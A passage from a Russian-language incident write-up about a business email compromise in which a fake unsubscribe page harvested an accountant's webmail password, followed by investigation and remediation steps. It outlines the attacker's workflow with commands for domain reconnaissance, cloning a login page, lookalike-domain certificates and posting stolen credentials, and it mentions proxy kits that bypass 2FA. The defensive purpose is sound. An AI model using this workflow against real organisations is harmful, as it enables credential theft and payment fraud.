Кнопка «Отписаться»: как фишинг-письмо чуть не увёл у компании 1,2 млн рублей

Пришёл на плановый аудит в производственную компанию перед подключением новой учётной системы. Задача стандартная — посмотреть логи почтового сервера, права доступа, конфигурацию сетевого периметра. В логах входящей/исходящей почты обнаружилась аномалия: с ящика главного бухгалтера двумя днями ранее ушли письма трём контрагентам с просьбой сменить банковские реквизиты для очередной оплаты. Сама бухгалтер об этих письмах ничего не знала.

Дальше — классическая форензика: смотрим заголовки писем, IP отправки, User-Agent, время авторизации в веб-морде почты. Всё сходится к одному событию: несколько дней назад на этот ящик пришло письмо, оформленное как обычная рекламная рассылка, с футером и кнопкой «Отписаться». Бухгалтер кликнула, попала на страницу-клон формы входа, ввела логин и пароль «для подтверждения отписки». Технической уязвимости в почтовом сервере или CRM не было вообще — сломали не софт, а привычку доверять знакомому UI-паттерну.

Как это эксплуатируется

Такие атаки (в индустрии это классифицируют как BEC — Business Email Compromise, с фишинговым вектором через фейковую unsubscribe-страницу) строятся по чёткой цепочке. Ниже — как это обычно выглядит с точки зрения атакующего, шаг за шагом.

1. Разведка (OSINT)

Сначала собирается список сотрудников и понимание, какими сервисами рассылок пользуется сама компания или её контрагенты — чтобы письмо выглядело органично.

theHarvester -d company-target.ru -b google,linkedin -f result.html
dnstwist company-target.ru --registered --format csv > lookalikes.csv

dnstwist покажет зарегистрированные доменные твины вида company-targe1.ru, company‑target.com, cоmpany-target.ru (с кириллической «о») — именно на таком домене потом хостится страница отписки.

2. Подготовка инфраструктуры

Клонируется реальная форма логина (почтовой веб-морды или сервиса рассылок), поднимается на свежекупленном домене с валидным TLS-сертификатом Let's Encrypt, чтобы в адресной строке был замок и никаких предупреждений браузера.

wget --mirror --convert-links --page-requisites \
  https://webmail.company-target.ru/owa/auth/logon.aspx

certbot certonly --standalone -d unsubscribe-mail-service.ru

В более продвинутых кампаниях вместо статичного клона используют reverse-proxy фишинг-киты (например, evilginx2) — они не просто копируют форму, а прозрачно проксируют трафик к настоящему сервису и на лету воруют session-cookie. Это работает даже если у жертвы включена 2FA: токен вводится в настоящую форму через прокси, а куки сессии всё равно оседают у атакующего.

3. Рассылка

Письмо оформляется как рутинная рассылка (акция, новости отрасли, дайджест), с корректным List-Unsubscribe заголовком по RFC 8058 — это усыпляет бдительность и почтовых фильтров, и человека. Ссылка «Отписаться» ведёт на клон-домен с уникальным токеном на каждого получателя для трекинга открытий.

dig txt company-target.ru | grep spf
; ожидаем: v=spf1 include:_spf.mailservice.ru ~all

dig txt _dmarc.company-target.ru
; если ответа нет или policy=none — письма от похожих доменов
; проходят фильтры без предупреждения получателю

Отсутствие жёсткой DMARC-политики (p=reject) — частая находка при таких разборах: домен формально «защищён» SPF/DKIM, но письма с доменов-двойников это не блокирует, ведь домен другой, а не подделанный.

4. Сбор credentials

Жертва вводит логин/пароль на фейковой странице — данные логируются на сервере атакующего.

curl -s -X POST https://unsubscribe-mail-service.ru/confirm.php \
  -d "login=buh@company-target.ru&password=***" -i

HTTP/1.1 302 Found
Location: https://webmail.company-target.ru/owa/  ; редирект на настоящую почту,
                                                    ; чтобы жертва ничего не заподозрила

5. Post-exploitation: закрепление в почте

Получив пароль, атакующий заходит в веб-интерфейс почты (OWA/Roundcube/IMAP) и первым делом изучает переписку — ищет слова «реквизиты», «оплата», «счёт», «договор», чтобы стилизовать письмо под реального контрагента. Часто ставится скрытое правило пересылки или фильтр, прячущий ответные письма от жертвы в отдельную папку, чтобы бухгалтер не увидела реакцию поставщика раньше времени.

# Проверка такого закрепления при расследовании (Exchange Online / M365):
Get-InboxRule -Mailbox buh@company-target.ru | \
  Format-List Name, Enabled, ForwardTo, RedirectTo, MoveToFolder, StopProcessingRules

# И журнал единого аудита — кто и откуда логинился:
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-14) -EndDate (Get-Date) `
  -UserIds buh@company-target.ru -Operations UserLoggedIn,MailItemsAccessed

Именно такая проверка правил пересылки и журнала входов и вскрыла картину на аудите: чужой вход с незнакомого IP, спустя пару часов — рассылка писем контрагентам со сменой реквизитов.

Что и почему сработало бы дальше

Если бы поставщик не позвонил уточнить смену реквизитов, а просто исполнил платёж — компания потеряла бы порядка 1,2 млн ₽ одной транзакцией. Но на этом сценарий обычно не заканчивается:

• С доступом к почте атакующий получает и доступ к «Забыл пароль» на других сервисах, привязанных к этому же ящику (банк-клиент, CRM, 1С-Fresh, личный кабинет ФНС) — почта часто является корнем доверия для всей цифровой инфраструктуры компании;
• Скомпрометированный ящик используется для второй волны фишинга — уже по адресной книге компании, от имени реального сотрудника, которому доверяют;
• Изучив переписку, злоумышленник может подготовить куда более убедительный BEC-сценарий — например, письмо «от директора» с просьбой срочно оплатить счёт, синхронизированное с реальным графиком отгрузок;
• При наличии единого SSO (Google Workspace/Microsoft 365 как identity provider) компрометация одной учётки может открыть доступ сразу к нескольким корпоративным сервисам.

Как закрыли

Работы заняли около двух дней и минимальные вложения в лицензии MFA — несопоставимо дешевле потерянной поставки на 1,2 млн ₽:

1. Сброшены пароли на всех сервисах, привязанных к скомпрометированному ящику, включая проверку через сервисы утечек:

   hibpwned-cli check buh@company-target.ru

2. Включена двухфакторная аутентификация (TOTP/FIDO2, не SMS) для почты и CRM;
3. Проверены и удалены скрытые правила пересылки/фильтрации в почтовом ящике (см. команду Get-InboxRule выше);
4. Настроена жёсткая DMARC-политика вместо мониторинговой:

   _dmarc.company-target.ru TXT "v=DMARC1; p=reject; rua=mailto:dmarc@company-target.ru"

5. Настроен фильтр почтового шлюза, помечающий письма с доменов, похожих на легитимные (Levenshtein-дистанция + список известных твинов из dnstwist), и sandbox-проверка ссылок перед доставкой;
6. Добавлено организационное правило: смена банковских реквизитов подтверждается только звонком на заранее известный номер, а не письмом;
7. Настроено уведомление руководителю в мессенджер при входе в почту с нового устройства или из нового региона (impossible travel alert).

Мошенники не ломают защиту — они используют то, чему мы привыкли доверять без раздумий.

Как закрыть системно, если у вас похожая инфраструктура

• Раз в квартал проверять домены-двойники своей компании: dnstwist company.ru --registered и мониторить появление новых регистраций;
• Перевести DMARC на p=reject, а не оставлять его в режиме none «для статистики»;
• MFA обязателен везде, где есть доступ к деньгам и переписке с контрагентами, приоритет — аппаратным ключам или TOTP, а не SMS (SIM-swap никто не отменял);
• Регулярно аудировать правила пересылки/фильтрации в почтовых ящиках финансово значимых сотрудников — это дешёвая и быстрая проверка, которая ловит уже состоявшуюся компрометацию;
• Провести фишинг-